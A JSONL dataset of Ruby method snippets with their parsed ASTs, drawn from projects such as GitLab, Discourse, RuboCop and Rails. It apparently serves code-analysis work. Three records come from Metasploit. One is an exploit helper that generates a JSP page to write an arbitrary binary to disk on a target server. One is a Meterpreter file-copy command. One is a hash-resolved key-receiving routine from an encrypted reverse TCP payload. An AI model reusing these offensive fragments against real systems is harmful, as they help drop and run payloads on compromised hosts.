{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/common/styles.rb","start_line":71,"raw_source":"def agenda_item_indent\n      @styles.dig(:agenda_item, :indent).presence || 5\n    end","complexity_score":3.68,"ast_json":"{\"type\":\"def\",\"children\":[\"agenda_item_indent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"agenda_item\"]},{\"type\":\"sym\",\"children\":[\"indent\"]}]},\"presence\"]},{\"type\":\"int\",\"children\":[5]}]}]}","id":"0931928c-dd60-4acb-9301-a1dff86d6f85"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20250311041851_add_index_to_post_stat_composer_columns.rb","start_line":6,"raw_source":"def up\n    remove_index :post_stats, :composer_version, algorithm: :concurrently, if_exists: true\n    remove_index :post_stats, :writing_device, algorithm: :concurrently, if_exists: true\n    add_index :post_stats, :composer_version, algorithm: :concurrently\n    add_index :post_stats, :writing_device, algorithm: :concurrently\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"post_stats\"]},{\"type\":\"sym\",\"children\":[\"composer_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"post_stats\"]},{\"type\":\"sym\",\"children\":[\"writing_device\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"post_stats\"]},{\"type\":\"sym\",\"children\":[\"composer_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"post_stats\"]},{\"type\":\"sym\",\"children\":[\"writing_device\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}","id":"ace3213e-25c3-4992-aa45-175154278d4a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/jira_collector_traversal.rb","start_line":176,"raw_source":"def jsp_drop_bin(bin_data, output_file)\n    jspraw = %Q|<%@ page import=\"java.io.*\" %>\\n|\n    jspraw << %Q|<%\\n|\n    jspraw << %Q|String data = \"#{Rex::Text.to_hex(bin_data, \"\")}\";\\n|\n\n    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream(\"#{output_file}\");\\n|\n\n    jspraw << %Q|int numbytes = data.length();\\n|\n\n    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\\n|\n    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\\n|\n    jspraw << %Q|{\\n|\n    jspraw << %Q|  char char1 = (char) data.charAt(counter);\\n|\n    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\\n|\n    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\\n|\n    jspraw << %Q|  comb <<= 4;\\n|\n    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\\n|\n    jspraw << %Q|  bytes[counter/2] = (byte)comb;\\n|\n    jspraw << %Q|}\\n|\n\n    jspraw << %Q|outputstream.write(bytes);\\n|\n    jspraw << %Q|outputstream.close();\\n|\n    jspraw << %Q|%>\\n|\n\n    jspraw\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"jsp_drop_bin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bin_data\"]},{\"type\":\"arg\",\"children\":[\"output_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jspraw\",{\"type\":\"str\",\"children\":[\"<%@ page import=\\\"java.io.*\\\" %>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<%\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"String data = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_hex\",{\"type\":\"lvar\",\"children\":[\"bin_data\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FileOutputStream outputstream = new FileOutputStream(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"int numbytes = data.length();\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"byte[] bytes = new byte[numbytes/2];\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"for (int counter = 0; counter < numbytes; counter += 2)\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"{\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  char char1 = (char) data.charAt(counter);\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  char char2 = (char) data.charAt(counter + 1);\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  int comb = Character.digit(char1, 16) & 0xff;\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  comb <<= 4;\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  comb += Character.digit(char2, 16) & 0xff;\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  bytes[counter/2] = (byte)comb;\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"}\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"outputstream.write(bytes);\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"outputstream.close();\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jspraw\"]},\"<<\",{\"type\":\"str\",\"children\":[\"%>\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"jspraw\"]}]}]}","id":"9e2ee45c-ba46-4860-882f-20b8aab9204e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb","start_line":266,"raw_source":"def self.cp(oldname, newname)\n                request = Packet.create_request(COMMAND_ID_STDAPI_FS_FILE_COPY)\n\n                request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode(oldname))\n                request.add_tlv(TLV_TYPE_FILE_PATH, client.unicode_filter_decode(newname))\n\n                response = client.send_request(request)\n\n                return response\n              end","complexity_score":12.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oldname\"]},{\"type\":\"arg\",\"children\":[\"newname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_FS_FILE_COPY\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_FILE_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_decode\",{\"type\":\"lvar\",\"children\":[\"oldname\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_FILE_PATH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_decode\",{\"type\":\"lvar\",\"children\":[\"newname\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"280a958e-19ef-4616-9e60-107822f2e726"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/hash_shorthand_syntax.rb","start_line":44,"raw_source":"def on_pair(node)\n        return if ignore_hash_shorthand_syntax?(node)\n\n        hash_key_source = node.key.source\n\n        if enforced_shorthand_syntax == 'always'\n          return if node.value_omission? || require_hash_value?(hash_key_source, node)\n\n          message = OMIT_HASH_VALUE_MSG\n          replacement = \"#{hash_key_source}:\"\n          self.config_to_allow_offenses = { 'Enabled' => false }\n        else\n          return unless node.value_omission?\n\n          message = EXPLICIT_HASH_VALUE_MSG\n          replacement = \"#{hash_key_source}: #{hash_key_source}\"\n        end\n\n        register_offense(node, message, replacement)\n      end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_pair\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignore_hash_shorthand_syntax?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"hash_key_source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"key\"]},\"source\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enforced_shorthand_syntax\"]},\"==\",{\"type\":\"str\",\"children\":[\"always\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"value_omission?\"]},{\"type\":\"send\",\"children\":[null,\"require_hash_value?\",{\"type\":\"lvar\",\"children\":[\"hash_key_source\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"const\",\"children\":[null,\"OMIT_HASH_VALUE_MSG\"]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_key_source\"]}]},{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"config_to_allow_offenses=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Enabled\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"value_omission?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"const\",\"children\":[null,\"EXPLICIT_HASH_VALUE_MSG\"]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_key_source\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_key_source\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]}","id":"47a0e898-7cf2-48a9-a0bc-6373e4fedc6d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/encrypted_reverse_tcp.rb","start_line":342,"raw_source":"def get_new_key\n    %Q^\n      char *get_new_key(SOCKET s)\n      {\n        FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',\n        FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')});\n\n        char *received = VirtualAlloc(NULL, 45, MEM_COMMIT, PAGE_READWRITE);\n        int recv_num = RecvData(s, received, 44, 0);\n\n        received[44] = '\\\\0';\n        return received;\n      }\n    ^\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_new_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      char *get_new_key(SOCKET s)\\n\"]},{\"type\":\"str\",\"children\":[\"      {\\n\"]},{\"type\":\"str\",\"children\":[\"        FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"VirtualAlloc\"]}]}]},{\"type\":\"str\",\"children\":[\"); // hash('kernel32.dll',\\n\"]},{\"type\":\"str\",\"children\":[\"        FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_hash\",{\"type\":\"str\",\"children\":[\"ws2_32.dll\"]},{\"type\":\"str\",\"children\":[\"recv\"]}]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        char *received = VirtualAlloc(NULL, 45, MEM_COMMIT, PAGE_READWRITE);\\n\"]},{\"type\":\"str\",\"children\":[\"        int recv_num = RecvData(s, received, 44, 0);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        received[44] = '\\\\0';\\n\"]},{\"type\":\"str\",\"children\":[\"        return received;\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]}","id":"b3db8ea7-f734-437e-8a38-b71d8c50c116"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240808172712_prepare_p_ci_builds_project_id_not_null_validation.rb","start_line":8,"raw_source":"def up\n    Gitlab::Database::PostgresPartitionedTable.each_partition(:p_ci_builds) do |partition|\n      prepare_async_check_constraint_validation partition.identifier, name: CONSTRAINT_NAME\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartitionedTable\"]},\"each_partition\",{\"type\":\"sym\",\"children\":[\"p_ci_builds\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_async_check_constraint_validation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"identifier\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"3142889a-84db-441a-82af-5c5832feccbd"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_agenda_items/form_component.rb","start_line":71,"raw_source":"def display_notes_input_value\n      if @display_notes_input\n        :block\n      elsif @meeting_agenda_item.notes.blank?\n        :none\n      else\n        :block\n      end\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"display_notes_input_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@display_notes_input\"]},{\"type\":\"sym\",\"children\":[\"block\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting_agenda_item\"]},\"notes\"]},\"blank?\"]},{\"type\":\"sym\",\"children\":[\"none\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]}]}]}","id":"791660a7-762f-4190-8b37-e2540bcc3405"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file_collection/merge_request_diff_base.rb","start_line":16,"raw_source":"def initialize(merge_request_diff, diff_options:)\n          @merge_request_diff = merge_request_diff\n\n          super(merge_request_diff,\n                project: merge_request_diff.project,\n                diff_options: diff_options,\n                diff_refs: merge_request_diff.diff_refs,\n                fallback_diff_refs: merge_request_diff.fallback_diff_refs\n          )\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request_diff\"]},{\"type\":\"kwarg\",\"children\":[\"diff_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_request_diff\",{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_options\"]},{\"type\":\"lvar\",\"children\":[\"diff_options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},\"diff_refs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_diff_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},\"fallback_diff_refs\"]}]}]}]}]}]}","id":"0dd2a8ea-14d1-464b-9532-6b65dd97ce35"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/yoda_condition.rb","start_line":169,"raw_source":"def source_file_path_constant?(node)\n          node.source == '__FILE__'\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"source_file_path_constant?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"==\",{\"type\":\"str\",\"children\":[\"__FILE__\"]}]}]}","id":"ab5bdb75-cf8c-49b4-9e84-95d435cc69e3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/miq_ae_class_spec.rb","start_line":92,"raw_source":"def set_priority(name, value)\n      ns = MiqAeNamespace.lookup_by_fqname(name)\n      ns.update!(:priority => value)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_priority\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ns\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeNamespace\"]},\"lookup_by_fqname\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"b2a03852-5fac-4046-80ca-8f77950282fb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/reflection_test.rb","start_line":429,"raw_source":"def test_nested?\n    assert_not_predicate Author.reflect_on_association(:comments), :nested?\n    assert_predicate Author.reflect_on_association(:tags), :nested?\n\n    # Only goes :through once, but the through_reflection is a has_and_belongs_to_many, so this is\n    # a nested through association\n    assert_predicate Category.reflect_on_association(:post_comments), :nested?\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"comments\"]}]},{\"type\":\"sym\",\"children\":[\"nested?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},{\"type\":\"sym\",\"children\":[\"nested?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"post_comments\"]}]},{\"type\":\"sym\",\"children\":[\"nested?\"]}]}]}]}","id":"8c98cf85-53a0-4722-8577-21165883cbf1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/empty_string_inside_interpolation.rb","start_line":78,"raw_source":"def empty_if_outcome?(node)\n          empty_branch_outcome?(node.if_branch)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_if_outcome?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"empty_branch_outcome?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]}]}]}","id":"6749aa00-fb60-4e48-8b97-a83c43598ce3"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/drupal_qa.rb","start_line":8,"raw_source":"def categories_query\n    result =\n      @client.query(\n        \"SELECT n.nid, GROUP_CONCAT(ti.tid) AS tids\n                            FROM node AS n\n                            INNER JOIN taxonomy_index AS ti ON ti.nid = n.nid\n                            WHERE n.type = 'question'\n                              AND n.status = 1\n                            GROUP BY n.nid\",\n      )\n\n    categories = {}\n    result.each do |r|\n      tids = r[\"tids\"]\n      if tids.present?\n        tids = tids.split(\",\")\n        categories[tids[0].to_i] = true\n      end\n    end\n\n    @client.query(\n      \"SELECT tid, name, description FROM taxonomy_term_data WHERE tid IN (#{categories.keys.join(\",\")})\",\n    )\n  end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"categories_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT n.nid, GROUP_CONCAT(ti.tid) AS tids\\n\"]},{\"type\":\"str\",\"children\":[\"                            FROM node AS n\\n\"]},{\"type\":\"str\",\"children\":[\"                            INNER JOIN taxonomy_index AS ti ON ti.nid = n.nid\\n\"]},{\"type\":\"str\",\"children\":[\"                            WHERE n.type = 'question'\\n\"]},{\"type\":\"str\",\"children\":[\"                              AND n.status = 1\\n\"]},{\"type\":\"str\",\"children\":[\"                            GROUP BY n.nid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tids\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tids\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tids\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"categories\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tids\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]},{\"type\":\"true\",\"children\":[]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT tid, name, description FROM taxonomy_term_data WHERE tid IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"categories\"]},\"keys\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"1727d11d-0f7a-4bf4-a480-3ed0d7a6c888"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/wiki_page.rb","start_line":29,"raw_source":"def raw_data=(data)\n        @raw_data = data\n        @text_data = @raw_data && Gitlab::EncodingHelper.encode!(@raw_data.dup)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_data=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_data\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@text_data\",{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EncodingHelper\"]},\"encode!\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_data\"]},\"dup\"]}]}]}]}]}]}","id":"d0d3df0b-8eb3-411d-afe9-0bf710fce9eb"}
